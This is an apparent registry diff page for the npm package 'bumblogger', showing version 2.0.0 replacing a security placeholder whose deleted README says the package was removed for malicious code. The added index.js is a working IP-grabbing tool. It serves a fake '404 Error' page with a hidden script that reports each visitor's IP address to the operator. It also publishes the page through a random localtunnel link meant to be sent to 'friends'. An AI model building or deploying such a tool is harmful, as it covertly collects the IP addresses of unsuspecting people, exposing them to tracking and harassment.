bumblogger 0.0.1-security → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bumblogger might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +68 -0
  2. package/package.json +24 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ #!/usr/bin/env node
2
+
3
+ const express = require("express");
4
+ const app = express();
5
+ const http = require("http");
6
+ const server = http.createServer(app);
7
+ const requestIp = require("request-ip");
8
+ const localtunnel = require("localtunnel");
9
+ const fetch = require("node-fetch");
10
+
11
+
12
+ app.use(requestIp.mw());
13
+
14
+ const randomURL = async ()=> {
15
+ let mening = "";
16
+ for (let i = 0; i < 3; i++) {
17
+ const req = await fetch.default("https://random-word-api.herokuapp.com/word");
18
+ const res = await req.json();
19
+ mening += res[0];
20
+
21
+ }
22
+ return mening;
23
+ }
24
+
25
+
26
+ const startTunnel = async () => {
27
+ let sub = await randomURL()
28
+ const tunnel = await localtunnel({port: 3000, subdomain: sub});
29
+ console.log("Send this to friends: " + tunnel.url);
30
+ };
31
+
32
+ startTunnel();
33
+
34
+ let latestIP = "";
35
+
36
+ app.set('trust proxy', true);
37
+
38
+ app.get("/", (req, res)=> {
39
+ res.send(`
40
+ <!DOCTYPE html>
41
+ <html lang="en">
42
+ <head>
43
+ <meta charset="UTF-8">
44
+ <meta http-equiv="X-UA-Compatible" content="IE=edge">
45
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
46
+ <title>404 Error</title>
47
+
48
+ </head>
49
+ <body>
50
+ 404 Error
51
+ <script>
52
+ fetch('/info');
53
+ </script>
54
+ </body>
55
+ </html>
56
+ `);
57
+ })
58
+
59
+ app.get('/ip', (req, res) => {
60
+ res.json({ ip: latestIP });
61
+ });
62
+
63
+ app.get('/info', (req, res) => {
64
+ latestIP = req.clientIp;
65
+ console.log("New IP address recieved: " + latestIP);
66
+ })
67
+
68
+ server.listen(3000);
package/package.json CHANGED
@@ -1,6 +1,27 @@
1
1
  {
2
2
  "name": "bumblogger",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "bin": "index.js",
7
+ "files": [
8
+ "index.js",
9
+ "package-lock.json",
10
+ "public/index.html",
11
+ "public/log.index.html"
12
+ ],
13
+ "scripts": {
14
+ "test": "echo \"Error: no test specified\" && exit 1",
15
+ "start": "node index.js"
16
+ },
17
+ "keywords": [],
18
+ "author": "",
19
+ "license": "ISC",
20
+ "dependencies": {
21
+ "express": "^4.18.1",
22
+ "localtunnel": "^2.0.2",
23
+ "node-fetch": "^2.6.7",
24
+ "request-ip": "^2.2.0",
25
+ "socket.io": "^4.5.1"
26
+ }
6
27
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bumblogger for more information.